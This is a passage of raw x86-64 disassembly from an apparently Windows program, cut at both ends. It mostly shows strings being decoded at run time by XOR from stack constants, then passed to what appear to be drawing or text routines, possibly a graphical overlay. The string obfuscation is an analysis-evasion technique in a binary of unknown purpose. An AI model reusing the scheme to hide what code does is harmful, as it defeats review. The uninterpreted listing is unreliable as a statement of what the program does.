mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc20], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc28], rax
movdqa xmm0, xmmword [rbp + 0xc20]
xorps xmm0, xmmword [rbp + 0xc10]
movdqa xmmword [rbp + 0xc10], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0x82
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0xc30]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movaps xmm2, xmm6
movss xmm1, dword [0x14014e0e8]
lea rcx, [rbp + 0x258]
call fcn.1400014d0
lea rcx, [rbp + 0xc10]
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.1400456c0
test al, al
je 0x140047bd4
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor r8d, r8d
mov edx, 0xff
lea rcx, [rbp + 0xc40]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e09c]
movaps xmm1, xmm6
lea rcx, [rbp + 0x260]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x14014772c]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [rbp + 0x210]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4ad47128513100b7
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc50], rcx
movabs rax, 0xabe13b9d1595ea6a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc58], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc60], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc68], rax
movdqa xmm0, xmmword [rbp + 0xc60]
xorps xmm0, xmmword [rbp + 0xc50]
movdqa xmmword [rbp + 0xc50], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xc70]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm0, dword [0x14014e09c]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x268]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xc50]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7a9e26647e003ad2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc80], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc88], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc90], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc98], rax
movdqa xmm0, xmmword [rbp + 0xc90]
xorps xmm0, xmmword [rbp + 0xc80]
movdqa xmmword [rbp + 0xc80], xmm0
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor r8d, r8d
mov edx, 0xff
lea rcx, [rbp + 0xca0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e09c]
movss xmm1, dword [0x14014e0d4]
lea rcx, [rbp + 0x270]
call fcn.1400014d0
lea rcx, [rbp + 0xc80]
jmp 0x140047e04
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor edx, edx
mov r8d, 0x80
lea rcx, [rbp + 0xcb0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e09c]
movaps xmm1, xmm6
lea rcx, [rbp + 0x278]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x140147730]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [rbp + 0x210]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4ad47128513100b7
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcc0], rcx
movabs rax, 0xabe13b9d1595ea6a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcc8], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xcd0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xcd8], rax
movdqa xmm0, xmmword [rbp + 0xcd0]
xorps xmm0, xmmword [rbp + 0xcc0]
movdqa xmmword [rbp + 0xcc0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xce0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm0, dword [0x14014e09c]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x280]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xcc0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1e9f2f6a7d123dd3
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcf0], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcf8], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd00], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd08], rax
movdqa xmm0, xmmword [rbp + 0xd00]
xorps xmm0, xmmword [rbp + 0xcf0]
movdqa xmmword [rbp + 0xcf0], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0x82
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0xd10]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e09c]
movss xmm1, dword [0x14014e0d4]
lea rcx, [rbp + 0x288]
call fcn.1400014d0
lea rcx, [rbp + 0xcf0]
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.1400456c0
movzx ebx, al
call fcn.140045980
or bl, al
je 0x140048024
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x3cda267b7d0438c7
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3f60], rcx
movabs rax, 0xceb31bea7af9a63f
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3f68], rcx
movabs rax, 0xa0390f632b0c5ef0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3f70], rax
movabs rax, 0x8b621eb2d4a3534e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3f78], rax
movabs rax, 0x3e012cf2beb841ae
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3f80], rax
movabs rax, 0xc0b1e2c18f1b6511
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3f88], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3480], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3488], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3490], rax
movabs rax, 0xf90d78d79683203a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3498], rax
movabs rax, 0x5068589cd1fb61cb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x34a0], rax
movabs rax, 0xc0b1e2c18f1b0064
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x34a8], rax
vmovdqu ymm0, ymmword [rbp + 0x3f60]
vpxor ymm1, ymm0, ymmword [rbp + 0x3480]
vmovdqa ymmword [rbp + 0x3f60], ymm1
vmovdqa xmm0, xmmword [rbp + 0x3f80]
vxorps xmm0, xmm0, xmmword [rbp + 0x34a0]
vmovdqa xmmword [rbp + 0x3f80], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xb4
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0xd20]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e128]
movaps xmm1, xmm6
lea rcx, [rbp + 0x290]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x3f60]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
jmp 0x1400480fb
movss xmm2, dword [0x14014e128]
movss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x298]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movss xmm6, dword [0x14014e034]
movaps xmm2, xmm6
movss xmm1, dword [0x14014e114]
lea rcx, [rbp + 0x2a0]
call fcn.1400014d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f8f2d61680f3bd4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd30], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd38], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd40], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd48], rax
movdqa xmm0, xmmword [rbp + 0xd30]
xorps xmm0, xmmword [rbp + 0xd40]
movdqa xmmword [rbp + 0xd30], xmm0
xor r8d, r8d
lea rcx, [rbp + 0xd30]
call fcn.140030ce0
test al, al
je 0x140048103
mov dword [0x14038e7a0], 1
jmp 0x140048110
movabs rsi, 0x7afa43081c615497
movss xmm6, dword [0x14014e034]
cmp dword [0x14038e7a0], 1
jne 0x14004895d
mov rcx, qword [0x14038e850]
call fcn.140012420
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xd50]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov esi, eax
movss xmm1, dword [0x14014df94]
lea rcx, [0x14038ea38]
call fcn.140004750
mov edi, eax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xd60]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movaps xmm2, xmm15
movss xmm1, dword [0x14014e0d8]
lea rcx, [rbp + 0x2a8]
call fcn.1400014d0
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43453c3774d9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd70], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd78], rax
movabs rax, 0x7afa43081c615497
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd80], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd88], rax
movdqa xmm0, xmmword [rbp + 0xd70]
xorps xmm0, xmmword [rbp + 0xd80]
movdqa xmmword [rbp + 0xd70], xmm0
movss xmm0, dword [0x14014df38]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
mov r9d, edi
mov r8d, ebx
unpcklps xmm1, xmm2
movq rdx, xmm1
lea rcx, [rbp + 0xd70]
call fcn.1400328d0
call fcn.1400124c0
movss xmm2, dword [0x14014e09c]
movss xmm1, dword [0x14014e0a0]
lea rcx, [rbp + 0x2b0]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movss xmm2, dword [0x14014e03c]
movss xmm1, dword [0x14014e0e4]
lea rcx, [rbp + 0x2b8]
call fcn.1400014d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7a9f306679023ddb
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd90], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd98], rcx
movabs rsi, 0x7afa43081c615497
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xda0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xda8], rax
movdqa xmm0, xmmword [rbp + 0xd90]
xorps xmm0, xmmword [rbp + 0xda0]
movdqa xmmword [rbp + 0xd90], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdx
mov r9d, 0x40
lea r8, [0x14038e900]
lea rdx, [rbp + 0xd90]
lea rcx, [0x140147734]
call fcn.140036820
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x88f3028790a35da
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3fa0], rcx
movabs rax, 0xce8958bd7ae1ea35
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3fa8], rcx
movabs rax, 0xbd31106f2d4940e2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3fb0], rax
movabs rax, 0x8f7f1da4b6e54f1a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3fb8], rax
movabs rax, 0x3f0e3dfef19e02a2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3fc0], rax
movabs rax, 0xa9c58caeec3b6516
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3fc8], rax
movabs rax, 0x51e46f9eba0f68eb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3fd0], rax
movabs rcx, 0x56f72adb53cd07ce
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3fd8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3fe0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3fe8], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3ff0], rax
movabs rax, 0xf90d78d79683203a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3ff8], rax
movabs rax, 0x5068589cd1fb61cb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4000], rax
movabs rax, 0xc0b1e2c18f1b0064
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4008], rax
movabs rax, 0x51e46f9eba6a1d85
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4010], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4018], rax
vmovdqu ymm0, ymmword [rbp + 0x3fa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3fe0]
vmovdqa ymmword [rbp + 0x3fa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x3fc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4000]
vmovdqa ymmword [rbp + 0x3fc0], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xbe
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xdb0]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0bc]
movss xmm1, dword [0x14014e0a0]
lea rcx, [rbp + 0x2c0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x3fa0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14014dff8]
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
movss xmm2, dword [0x14014e0d8]
movss xmm1, dword [0x14014e0a0]
lea rcx, [rbp + 0x2c8]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movaps xmm2, xmm6
movss xmm1, dword [0x14014e0e4]
lea rcx, [rbp + 0x2d0]
call fcn.1400014d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7a940a2872063dc4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xdc0], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xdc8], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xdd0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xdd8], rax
movdqa xmm0, xmmword [rbp + 0xdd0]
xorps xmm0, xmmword [rbp + 0xdc0]
movdqa xmmword [rbp + 0xdc0], xmm0
xor r8d, r8d
lea rcx, [rbp + 0xdc0]
call fcn.140030ce0
test al, al
je 0x1400487fd
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd8f363c701638f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22c0], rax
movabs rax, 0x9b9255ab27a5fa20
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22c8], rax
movabs rax, 0xfb6e0d3b2f0745b0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22d0], rax
movabs rax, 0xf90d78d79683200b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22d8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22e0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22e8], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22f0], rax
movabs rax, 0xf90d78d79683203a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22f8], rax
vmovdqu ymm0, ymmword [rbp + 0x22c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x22e0]
vmovdqa ymmword [rbp + 0x22c0], ymm1
lea rdx, [rbp + 0x22c0]
lea rcx, [rbp + 0x2300]
vzeroupper
call fcn.1400736b0
nop
lea rcx, [rbp + 0x2300]
call fcn.1400a0484
nop
lea rcx, [rbp + 0x2300]
call fcn.140073650
lea rcx, [rbp + 0x2320]
call fcn.140041730
mov rbx, rax
lea rdi, [0x14038e900]
mov rdx, rdi
lea rcx, [rbp + 0x2340]
call fcn.1400736b0
nop
mov rdx, rbx
lea rcx, [rbp + 0x2340]
call fcn.1400952fc
nop
lea rcx, [rbp + 0x2340]
call fcn.140073650
nop
lea rcx, [rbp + 0x2320]
call fcn.140073650
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7a9f306679023ddb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xde0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xde8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xdf0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xdf8], rax
movdqa xmm0, xmmword [rbp + 0xdf0]
xorps xmm0, xmmword [rbp + 0xde0]
movdqa xmmword [rbp + 0xde0], xmm0
mov rdx, rdi
lea rcx, [rbp + 0xde0]
call fcn.1400461d0
mov dword [0x14038e7a0], 2
cmp byte [rbp + 0xf3], 0
je 0x14004895d
movabs rbx, 0xf90d78d79683203a
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f9722666e0427c2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2360], rcx
movabs rax, 0xde8e7dbd61fa8470
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2368], rcx
movabs rax, 0xce5c620a59484fef
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2370], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2378], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2380], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2388], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2390], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2398], rax
vmovdqu ymm0, ymmword [rbp + 0x2360]
vpxor ymm1, ymm0, ymmword [rbp + 0x2380]
vmovdqa ymmword [rbp + 0x2360], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xe00]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0fc]
movss xmm1, dword [0x14014e0cc]
lea rcx, [rbp + 0x2d8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x2360]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
cmp dword [0x14038e7a0], 2
jne 0x140048e20
addss xmm12, dword [0x14014df94]
movss dword [rbp + 0x170], xmm12
movss xmm2, dword [0x14014e09c]
movss xmm1, dword [0x14014e100]
lea rcx, [rbp + 0x2e0]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
mov dword [rsp + 0x20], r14d
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xe10]
call fcn.14002fbd0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0xe20]
call fcn.14002fbd0
mov r9, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7a9d2d6178003bdb
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe30], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe38], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe40], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe48], rax
movdqa xmm0, xmmword [rbp + 0xe40]
xorps xmm0, xmmword [rbp + 0xe30]
movdqa xmmword [rbp + 0xe30], xmm0
mov dword [rsp + 0x38], r14d
movss xmm0, dword [0x14014dfd4]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14014dfe8]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
movss xmm2, dword [0x14014dfdc]
movaps xmm1, xmm7
lea rcx, [rbp + 0xe30]
call fcn.14003d150
cmp byte [0x1403870cc], 0
je 0x140048c96
movss xmm2, dword [0x14014e0bc]
movss xmm1, dword [0x14014e0d8]
lea rcx, [rbp + 0x2e8]
call fcn.1400014d0
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xe50]
call fcn.14002fbd0
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9d2d61681531d0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23a0], rax
movabs rax, 0xcd8f72bd67f0b905
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23a8], rax
movabs rax, 0xce5c620a59692bee
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23b0], rax
movabs rbx, 0xf90d78d79683203a
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23b8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23c0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23c8], rax
movabs rdi, 0xce5c620a59692b81
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23d0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23d8], rax
vmovdqu ymm0, ymmword [rbp + 0x23a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x23c0]
vmovdqa ymmword [rbp + 0x23a0], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vmovss xmm0, dword [0x14014e014]
vmovss dword [rsp + 0x28], xmm0
vunpcklps xmm6, xmm6, xmm7
vmovsd qword [rsp + 0x20], xmm6
vmovss xmm3, dword [0x14014dfa4]
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x23a0]
mov rcx, qword [0x14038e858]
vzeroupper
call fcn.140045eb0
comiss xmm12, dword [0x14014e154]
jbe 0x140048caa
mov byte [0x1403870cc], 0
mov byte [0x14038e8b4], 1
movaps xmm12, xmm14
movss dword [rbp + 0x170], xmm14
jmp 0x140048cb7
movabs rbx, 0xf90d78d79683203a
movabs rdi, 0xce5c620a59692b81
cmp byte [0x14038e8b4], 0
je 0x140048e20
movss xmm2, dword [0x14014e0bc]
movss xmm1, dword [0x14014e0cc]
lea rcx, [rbp + 0x2f0]
call fcn.1400014d0
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xe60]
call fcn.14002fbd0
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9d2d61681531c4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23e0], rax
movabs rax, 0xcd8e54ed46b5ba05
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23e8], rax
movabs rax, 0xce5c620a596959e4
